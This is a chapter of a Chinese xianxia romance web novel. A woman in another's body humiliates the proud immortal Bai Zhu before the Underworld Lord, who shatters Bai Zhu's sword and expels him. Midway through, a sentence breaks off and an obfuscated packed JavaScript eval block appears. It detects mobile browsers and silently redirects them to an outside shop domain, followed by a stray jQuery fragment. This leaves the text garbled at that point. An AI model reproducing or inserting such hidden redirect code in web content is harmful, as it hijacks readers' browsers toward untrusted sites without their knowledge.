人间界分九州,其中珩海州与紫府州凭借实力为首。而珩海州内,又有玄机宗独占鳌头,领袖千载,威望显赫。
白竹,身为上一任玄机宗掌门独子,又称顶级仙二代。含着金汤匙出生,自小到大都站在修真界的金字塔尖上。
他清高,清的是表象,高的是内心。
像临池照水的水仙,颇有几分孤芳自赏的意味。他却站得太高,临得太远,自负而不自知。
白竹固然为季棠的离世痛心,可是当他发现她其实还活着,那股子痛心淡去,转而化为一股斥怒。
为何不相信我能救下你们?
为何如此冲动?
你知不知道这样做的后果是什么?
浅蓝色的眸子里倒映出一抹鹅黄,裹着鹅黄花的春风吹化满池蓝冰。
他眉头轻轻拢起,喉结滚动,声音竟是意料之外的沙哑:“棠棠……”
突如其来的碰面有些猝不及防,漆瑭不动声色,看来这就是季棠口中的让尘仙君白竹了。
人说百闻不如一见,用什么方式对待、该怎么让他“忏悔”,还得亲眼看看他是人是鬼。
“你这是在做什么?”白竹清了清嗓子,将不合时宜的酸涩生生压下去,不满的眼神落到漆瑭手中的药碗上。
未尽之意格外浅显——
既然没死为何不回我的身边,反而和这个冥主搭了线?
第一句话不是慰问反而是谴责,幸亏站在这的是她而不是季棠那个可怜鬼。
漆瑭咬了咬落在牙齿尖尖上的柔软肉齿。看来他不是人,也不是鬼。是个什么东西还不好说,总之是个烂的。
少女不怒反笑,笑容没有半分嫌隙,笑得春花一样,眼神清澈而无辜:“我在给尊上送东西呀……”
白竹的眉头拧得更深,觉得她在装傻,心里的不满便更多了。
他先是低声叹了口气,随即抬头望向易昀道:“既然人已找到,那本君就此告辞。赔偿事宜待本君回宗后,定会一笔不落补给冥主。”
说罢便拽住漆瑭的胳膊准备转身就走。
她想要的解释,他会交给她。但她做的错事,也该知道后果。
这是他二人的私事,待回玄机宗,他与她再慢慢地算……
漆瑭瞪圆了一双眼睛,猛地将他甩开,随后三步并作两步跑到易昀桌前。
白竹未加防范,更没料到她竟会甩开他。错愕地盯着自己已经空了的掌心,指尖抽动,他转身看到了万万想不到的一幕。
那抹鲜艳的鹅黄将手中瓷碗搁到桌上,俯身凑在冥主的身侧耳语。黄与黑错位交叠,她长而密的睫毛微垂,没分给他半点眼神。
大脑“轰——”地一声。
会失去她的惶恐与痛心终于卷土重来。
她不能离开他!
几乎是未经任何思索,一向清风明月气质浅淡的让尘仙君脱口而出:“你和他什么关系?”
正在耳语的二人顿住了。
少女的眼神轻飘飘地落在他身上,毫不掩饰惊讶,转而一笑:“什么关系?”细白的手指漫不经心地缠绕着自己乌黑的发,“睡在一张床上的关系。”
这话也没错。
那张床以前冥主睡,现在她睡。可不就是睡在一张床的关系!
据漆瑭观察,白竹此人极度自负,举手投足尽是优越感。更恶心人的是,他还自以为自己君子如菊,自视高尚,实则就是个伪君子!
要想让他忏悔,心理上的交锋是不可取的。因为无论她说什么做什么,他都不会反省自己,反而会将问题归结于她——是她不懂事、是她太冲动。
君子如他只会为此感到痛心!
这种人只有被她亲自用实力打垮,客观意义上把他摁在地面摩擦,才会有所后悔。
——后悔当初遇见季棠,后悔这由他开始的孽缘。
现在她虽然办不到,但是恶心恶心他还是很容易的。
果然,白竹细长的双眼缓缓瞪到了最大,他看见那个令人厌恶的冥主支着下巴,兴味盎然地看着眼前的闹剧。眼神高高在上又置身事外,宛若一个耳光打在白竹矜贵的脸上,火辣辣的。
“季棠,你知道你在说什么吗?
季棠也许不知道,她漆瑭可清楚的很。
少女歪了歪头,眼神清澈而懵懂:“我当然知道啊,莫非仙君不知道?要么我给仙君解释解释?”
白竹既羞又怒,一张白玉般的脸涨得通红,心头狂跳,无名火几乎要把心脏焚烧:“胡说八道!”
少女仍然笑嘻嘻的,像三月里开得肆意的明媚春花,“你管我?你是我爹?”我爹是水妖,是混蛋,是死人。
到底是大宗门脸,教养在线。白竹的失态不过短短两瞬,再开口时,已恢复成云淡风轻,语气疏离至极、不怒自威:“季棠,本君再问最后一次,随本君走,既往不咎。”
“不走,咎无可咎。”
他深深地看了漆瑭一眼,意味无穷,随即垂眸将一切情绪遮于冰底,“既然如此,多有叨扰。冥主,本君告辞。”
漆瑭反瞪回去,“慢走,不送。”
白竹走得很快,每迈出一步都深觉耻辱。他平生最不齿冥主为人,可是父亲常说“管好你自己,人的脚得踏在地上,你知道为了从冥主手里保下你,宗门费了多少功夫吗?”
从前,他甚至进不来内冥界。
他停住了。
“破雪”出鞘,以迅雷不及掩耳之势直指高台上的气定神闲的人。
他白竹不需要被保,他情愿堂堂正正与之一战,就算是死,那也是他技不如人罢了。
“铮——”
瞳仁中倒映出的那抹寒光,被人骈指夹住,寸尺难进。
白竹神色一凌,双手结印欲再击。
熟料台上那人甚至身形未动,半招未出,仅是指尖灵力便将“破雪”捏出碎冰声。剑灵哇哇大叫:“好疼啊!我好疼啊!白竹,快叫他住手啊!”
白竹瞳孔骤缩。
法诀匆忙打去,这是他毫无保留的全力一击,他不信……
消失了!
在距离冥主仅一步处,黑气暴起,与法诀对撞!
巨大的气浪吹得漆瑭睁不开眼,头发乱飞,飘进了她嘴里。她“呸呸”两声吐出来,隐约听见身旁这人轻笑了一声。
她莫名很确定,他就是在笑她。
不是,看我倒霉就这么好笑吗?还有,这不是在打仗吗,你的眼不搁前边搁侧边?!
剑灵发出灵生中的最后一声尖叫,然后消失了。紧接着,破雪寸寸碎裂,像冬日从屋檐摔落的冰凌,碎了一地。
白竹愣住,千年来,这是他第一次见冥主出手。
心里忽然涌出莫大的恐慌,他本以为自己不怕死的……可是……可是!
“棠棠,你看见了吗?”他赤红的双目猛地抬起,状似疯魔,全无半点君子气度,“他就是一个怪物!琼华神女千年前救世而亡,仙骸沉于冥界遍寻不得,使得满世香火无处祭祀!定是他设法偷藏!本君看到了……本君看到了!”
易昀将饶有趣味的目光落到了漆瑭身上,那副作壁上观的模样,仿佛说的不是他似的。
漆瑭在心里琢磨着怎么能将白竹这副模样记录下来,给季棠看看,但是又想这发疯和“季棠”没什么关系,主要还是因为那位白月光,叫季棠瞧见了,万一徒增伤心呢?
如此这般,白竹发了一通疯,才看见台上二人俱没看他——一个低着脑袋神游天外,另一个侧头看着身旁的人,嘴角上挑。
他气得发抖,厉声问:“季棠,事已至此,你还不随本君走吗?留在这个怪物身边,你就不怕?!”
“不怕。”她接的很快,气焰嚣张,“我在哪与你何干?而且,他不是怪物,他是人。”
易昀唇角的笑容忽然凝固了,脸上的笑意霎时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579088|143077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不见。他面无表情将头转了回去,细长的手指叩了叩桌角……
白竹还欲口舌之争,熟料一道黑气猛地裹住他将他丢出了冥主殿。
“滚。”里面传出一道平静而不屑的声音,“本尊不屑杀你。”
白竹只觉有口老血涌到嗓子眼,气得他翻了个白眼,他几乎神智尽失,只想再回殿中找回他稀碎的尊严。
然而里面又传出一句话:“回去昭告天下,乾幽结界失效,恶蜮逃逸,人间界该做好准备了。”
白竹顿住脚,诧异难掩:“什……什么?!”
狂乱的思绪终于平静下来,他沉默半晌,转身离开了。
讨人厌的东西离开后,大殿内恢复了安静。
易昀敛眸,单手握住瓷碗,三两口将浓黑的药汁喝下肚。黑褐色的药渣小雪般从上滑到下,露出雪白的碗底。碗底移开,出现在面前的是一只雪白的手。手心托着一只黄灿灿的杏子。
视线上移,是一张同样雪白的脸,笑意盈盈。
又在笑,总是笑。他忽然有些好奇,什么时候是真的,什么时候是假的?
方才她也是这样笑眯眯地凑在他耳边,说:“我问了树精,它们说这药可苦,所以今天我给尊上带了好吃的杏子,压压苦。”
这话本也没必要那时那刻咬着耳朵说,他心知她不过是做给白竹看的,这女人举手投足都是戏。
易昀将碗撂到桌上。在眼睫遮掩下,眼中纷杂的情绪已经消失殆尽,瞳仁像是波澜不兴的湖。
“你不好奇?”
好奇,好奇什么?琼华仙君的仙骸?
她心里谨慎,直觉他现在的状态怪怪的,语气便尽可能地显得从容无心:“有一点吧,大概是尊上想说我就想听,不想说我就不问。”
他点了点头,气定神闲道:“本尊不想说。”
如他所想,她脸上的表情果然有一瞬的崩塌,看起来颇为有趣。
漆瑭无语之余意外发现易昀的睫毛很长,虽然长却有些稀,只是贴着上眼皮薄薄的一层,像什么昆虫透明的薄翅,随着说话会微微颤动。有一种和他整个人格格不入的别样的乖巧感。
他垂眸看着她手里的杏,突然垂头,唇贴上去将其抿进嘴里。
呼吸轻而热,蜻蜓点水般在她的手心一触即分。
漆瑭叫他这莫名其妙的行为吓了一跳,手一抖,很轻,他应该没发现。
她收回手,藏在背后,手指轻轻捻了捻。分明没什么实质的触碰,但就是感觉好奇怪,她决定回去要好好洗手。
肉眼可见的,易昀的情绪恢复了正常,他吃着杏挥了下手,示意她可以滚蛋了。
人却没走。
她似乎不怎么注意仪态,鹅黄色的裙摆垂在地上有些凌乱。一指相隔,就是整齐地垂在地上的黑色袍摆。黑与黄隔河而望,并没有实质的触碰。
他这才抬眼看她,用眼神示意“有屁快放”。
少女很机灵,总是能看明白他的心思,说不上好,似乎也说不上差。
她不多赘述,直接问:“尊上,您可有什么法子能让执念体延续寿数吗?”
易昀盯着她,眼神有些危险,他将杏肉咽下肚,才幽幽道:“得寸进尺。”
就是要得寸进尺,不然昨天的付出算什么?虽然伤已经痊愈,但她现在还有幻肢痛呢。
漆瑭相信,现在冥主对她的容忍度一定如海宽。毕竟她搞的事,都是比之从前微不足道的小事。
“小女这不是借着尊上大人有大量嘛!”她继续笑眯眯,露出两颗尖尖的虎牙。
易昀收回目光,再次挥了下手示意她滚蛋,同时说:“下次带她来见本尊。”
“得嘞,多谢冥主大人!”余光中那抹黄色欢快地跳开,跑走了。
漆瑭惦记着要回去洗手,加之季棠的事有了缓冲,心里别提多高兴了。以至于气箭嗖的从耳边擦过时,她完全没反应过来。